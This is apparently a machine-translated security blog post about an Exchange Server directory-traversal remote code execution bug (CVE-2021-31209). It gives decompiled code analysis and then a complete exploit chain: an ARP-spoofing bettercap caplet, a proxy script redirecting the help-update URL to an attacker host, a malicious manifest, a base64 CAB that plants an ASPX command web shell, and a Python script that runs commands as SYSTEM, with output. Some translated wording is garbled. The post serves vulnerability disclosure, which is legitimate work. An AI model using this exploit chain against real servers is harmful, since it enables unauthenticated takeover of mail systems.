Microsoft Exchange Server remote code execution

Posted by drorgo on Wed, 26 Jan 2022 10:16:43 +0100

In mid November 2020, I discovered a logical Remote Code Execution Vulnerability in Microsoft Exchange Server, which has a strange turning point - it requires an intermediate sleep (MiTM) attack before triggering. I found this error because I was looking for a call to webclient Downloadfile hopes to find the server-side Request Forgery vulnerability, because in some environments within the exchange server, this type of vulnerability can have a huge impact. Later, I found that SharePoint Server was also affected by basically the same code pattern.

Vulnerability summary

When an administrative user runs update exchangehelp or commands in the Exchange management shell, an unauthenticated attacker in a privileged network location (such as MiTM attack) may trigger a remote code execution vulnerability. Update-ExchangeHelp -Force

Vulnerability analysis

In Microsoft Exchange. Management. Microsoft.dll file internal Exchange. Management. UpdatableHelp. Updatableexchangehelpcommand defines the following classes:

protected override void InternalProcessRecord()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        ex = this.helpUpdater.UpdateHelp();    // 1
    }
    //...

At [1], the code calls the helpupdater Updatehelp method. In Microsoft Exchange. Management. UpdatableHelp. Inside the helpupdater class, we see:

internal UpdatableExchangeHelpSystemException UpdateHelp()
{
    double num = 90.0;
    UpdatableExchangeHelpSystemException result = null;
    this.ProgressNumerator = 0.0;
    if (this.Cmdlet.Force || this.DownloadThrottleExpired())
    {
        try
        {
            this.UpdateProgress(UpdatePhase.Checking, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            string path = this.LocalTempBase + "UpdateHelp.$$$\\";
            this.CleanDirectory(path);
            this.EnsureDirectory(path);
            HelpDownloader helpDownloader = new HelpDownloader(this);
            helpDownloader.DownloadManifest();    // 2

This function performs some operations. The first is when [2]DownloadManifest is called. Let's take a look at Microsoft Exchange. Management. UpdatableHelp. HelpDownloader. DownloadManifest:

internal void DownloadManifest()
{
    string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
    if (!this.helpUpdater.Cmdlet.Abort)
    {
        this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));  // 3
    }
}

At [3], the code AsyncDownloadFile uses ManifestUrl In ManifestUrl, when the LoadConfiguration method is set from the so-called InternalValidate:

protected override void InternalValidate()
{
    TaskLogger.LogEnter();
    UpdatableExchangeHelpSystemException ex = null;
    try
    {
        this.helpUpdater.LoadConfiguration();   // 4
    }
internal void LoadConfiguration()
{
    //...
    RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    if (registryKey3 == null)
    {
        registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
    }
    if (registryKey3 != null)
	{
        try
		{
            this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();  // 5

At [4], the code LoadConfiguration was called during parameter validation of the cmdlet. This ManifestUrl http://go.microsoft.com/fwlink/p/?LinkId=287244 If the registry hive does not exist: HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp in [5]. By default, it is not, so the value is always http://go.microsoft.com/fwlink/p/?LinkId=287244 .

Return AsyncDownloadFile. In [3], this method will use webclient Downloadfileasync API downloads files to the file system. Since we cannot control the local file path, there is no vuln here. Later in UpdateHelp, we will see the following code:

//...
if (!this.Cmdlet.Abort)
{
    UpdatableHelpVersionRange updatableHelpVersionRange = helpDownloader.SearchManifestForApplicableUpdates(this.CurrentHelpVersion, this.CurrentHelpRevision); // 6
    if (updatableHelpVersionRange != null)
    {
        double num2 = 20.0;
        this.ProgressNumerator = 10.0;
        this.UpdateProgress(UpdatePhase.Downloading, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
        string[] array = this.EnumerateAffectedCultures(updatableHelpVersionRange.CulturesAffected);
        if (array.Length != 0)  // 7
        {
            this.Cmdlet.WriteVerbose(UpdatableHelpStrings.UpdateApplyingRevision(updatableHelpVersionRange.HelpRevision, string.Join(", ", array)));
            helpDownloader.DownloadPackage(updatableHelpVersionRange.CabinetUrl);  // 8
            if (this.Cmdlet.Abort)
            {
                return result;
            }
            this.ProgressNumerator += num2;
            this.UpdateProgress(UpdatePhase.Extracting, LocalizedString.Empty, (int)this.ProgressNumerator, 100);
            HelpInstaller helpInstaller = new HelpInstaller(this, array, num);
            helpInstaller.ExtractToTemp();  // 9
            //...

There are a lot of things to untie here (please forgive the pun). At [6], the code searches the downloaded manifest file for a specific version or version range and ensures that the version of the Exchange server is within that range. This check also ensures that the new revision number is higher than the current revision number. If these requirements are met, the code will continue to execute [7] to check the culture. Since my goal is the English language pack, I set it to en so that I can build a valid path later. Then download and store the CabinetUrl at [8]. This is specified in the xml manifest file cab file.

Finally, in [9], use the following method to extract the cab file Microsoft Exchange. Management. UpdatableHelp. HelpInstaller. ExtractToTemp:

internal int ExtractToTemp()
{
    this.filesAffected = 0;
    this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
    bool embedded = false;
    string filter = "";
    int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);   // 10
    this.cabinetFiles = new Dictionary<string, List<string>>();
    this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
    this.filesAffected = result;
    return result;
}

In [10], the code calls Microsoft Exchange. CabUtility. EmbeddedCabWrapper. Extractcabfiles contains Microsoft Exchange. CabUtility. DLL a mixed mode assembly of native code to extract the cab file ExtractCab using the exported function. Unfortunately, the parser did not register a callback function to verify that the file does not contain directory traversal before extraction. This allows me to write any file to any location.

development

File write vulnerabilities do not necessarily mean remote code execution, but they often occur in the context of Web applications. The attack I proposed on Pwn2Own is written in this C:/inetpub/wwwroot/aspnet_client directory, which allows me to issue http requests to the shell to execute arbitrary code as SYSTEM without authentication.

Let's review the settings to visualize the attack.

set up

The first step will require you to perform ARP Spoofing on the target system. For this phase, I chose to use bettercap, which allows you to define caps that can be executed automatically. I think my last targeted MiTM attack was 12 years ago! This is my POC The content of the cap file, which sets up ARP Spoofing and proxy scripts to intercept and respond to specific http requests:

set http.proxy.script poc.js
http.proxy on
set arp.spoof.targets 192.168.0.142
events.stream off
arp.spoof on

The POC JS file is the proxy script I wrote to intercept the target request and redirect it to the configuration file hosted by the attacker http://192.168.0.56:8000/poc.xml .

function onLoad() {
    log_info("Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability")
    log_info("Found by Steven Seeley of Source Incite")
}

function onRequest(req, res) {
    log_info("(+) triggering mitm");
    var uri = req.Scheme + "://" +req.Hostname + req.Path + "?" + req.Query;
    if (uri === "http://go.microsoft.com/fwlink/p/?LinkId=287244"){
        res.Status = 302;
        res.SetHeader("Location", "http://192.168.0.56:8000/poc.xml");
    }
}

This POC The XML manifest file contains the CabinetUrl managed malicious cab file and the scope targeted by the Version update:

<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>1</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://192.168.0.56:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>

I packaged the manifest and file transfer process into POC Cab to a small Python http server, POC Py it will also try to use the POC Aspx uses commands executed as SYSTEM to access files:

import sys
import base64
import urllib3
import requests
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class CabRequestHandler(SimpleHTTPRequestHandler):
    def log_message(self, format, *args):
        return
    def do_GET(self):
        if self.path.endswith("poc.xml"):
            print("(+) delivering xml file...")
            xml = """<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.2.1.1-15.2.999.9</Version>
      <Revision>%s</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://%s:8000/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>""" % (r, s)
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.send_header("Content-Length", len(xml))
            self.end_headers()
            self.wfile.write(str.encode(xml))
        elif self.path.endswith("poc.cab"):
            print("(+) delivering cab file...")
            # created like: makecab /d "CabinetName1=poc.cab" /f files.txt
            # files.txt contains: "poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"
            # poc.aspx contains: <%=System.Diagnostics.Process.Start("cmd", Request["c"])%> 
            stage_2  = "TVNDRgAAAAC+AAAAAAAAACwAAAAAAAAAAwEBAAEAAAAPEwAAeAAAAAEAAQA6AAAA"
            stage_2 += "AAAAAAAAZFFsJyAALi4vLi4vLi4vLi4vLi4vLi4vLi4vaW5ldHB1Yi93d3dyb290"
            stage_2 += "L2FzcG5ldF9jbGllbnQvcG9jLmFzcHgARzNy0T4AOgBDS7NRtQ2uLC5JzdVzyUxM"
            stage_2 += "z8svLslMLtYLKMpPTi0u1gsuSSwq0VBKzk1R0lEISi0sTS0uiVZKVorVVLUDAA=="
            p = base64.b64decode(stage_2.encode('utf-8'))
            self.send_response(200)
            self.send_header('Content-Type', 'application/x-cab')
            self.send_header("Content-Length", len(p))
            self.end_headers()
            self.wfile.write(p)
            return

if __name__ == '__main__':
    if len(sys.argv) != 5:
        print("(+) usage: %s <target> <connectback> <revision> <cmd>" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 mspaint" % sys.argv[0])
        print("(+) eg: %s 192.168.0.142 192.168.0.56 1337 \"whoami > c:/poc.txt\"" % sys.argv[0])
        sys.exit(-1)
    t = sys.argv[1]
    s = sys.argv[2]
    port = 8000
    r = sys.argv[3]
    c = sys.argv[4]
    print("(+) server bound to port %d" % port)
    print("(+) targeting: %s using cmd: %s" % (t, c))
    httpd = HTTPServer(('0.0.0.0', int(port)), CabRequestHandler)
    handlerthr = Thread(target=httpd.serve_forever, args=())
    handlerthr.daemon = True
    handlerthr.start()
    p = { "c" : "/c %s" % c }
    try:
        while 1:
            req = requests.get("https://%s/aspnet_client/poc.aspx" % t, params=p, verify=False)
            if req.status_code == 200:
                break
        print("(+) executed %s as SYSTEM!" % c)
    except KeyboardInterrupt:
        pass

At each attack attempt, Revision needs to increase the number, because the code will write the value to the registry, and after downloading the manifest file, Revision will verify whether the file contains a higher number before continuing to download and extract the cab file.

Bypass Windows Defender

It's cool to execute mspaint, but for Pwn2Own, we need a Defender to bypass the pop thy shell After Orange Tsai gave up the details of his ProxyLogin exploit, Microsoft decided to try to detect ASP net web shell. So I took a different approach from Orange and compiled a custom binary that executed the reverse shell and put it on disk and executed it to bypass Defender.

Example attack

We first use POC Run Bettercap from the caplet file:

researcher@pluto:~/poc-exchange$ sudo bettercap -caplet poc.cap
bettercap v2.28 (built for linux amd64 with go1.13.12) [type 'help' for a list of commands]

[12:23:13] [sys.log] [inf] Exchange Server CabUtility ExtractCab Directory Traversal Remote Code Execution Vulnerability
[12:23:13] [sys.log] [inf] Found by Steven Seeley of Source Incite
[12:23:13] [sys.log] [inf] http.proxy enabling forwarding.
[12:23:13] [sys.log] [inf] http.proxy started on 192.168.0.56:8080 (sslstrip disabled)

Now we ping the target (to update the Arp table of the target cache) and run POC Py and wait for the administrative user to run update exchangehelp or update exchangehelp - Force to run in the Exchange management console (EMC) (- Force required if the update exchangehelp command has been running in the past 24 hours):

researcher@pluto:~/poc-exchange$ ./poc.py 
(+) usage: ./poc.py <target> <connectback> <revision> <cmd>
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"

researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!

conclusion

This is not the first time Pwn2Own used MiTM attack. I'm glad to find a vulnerability that didn't conflict with other researchers in the game. This can only be achieved by finding new vectors and / or surfaces in the Exchange Server to find vulnerabilities. Logical vulnerabilities are always interesting because they almost always mean being exploited, and it is difficult to find these same problems using traditional automation tools. Some people believe that all network vulnerabilities are actually logical. Even Web-based injection vulnerabilities, because they do not require memory manipulation, and attacks can be temporarily repeated.

Because EMC connects to IIS services configured to run SYSTEM through PS remoting, this vulnerability has a significant impact on the Exchange server. This is not the case for SharePoint Server where the SharePoint command line manager (SMS) is directly affected, enabling code execution as the user running the SMS.

Microsoft has patched this issue as CVE-2021-31209. If you have not yet deployed the patch, we recommend that you deploy it now.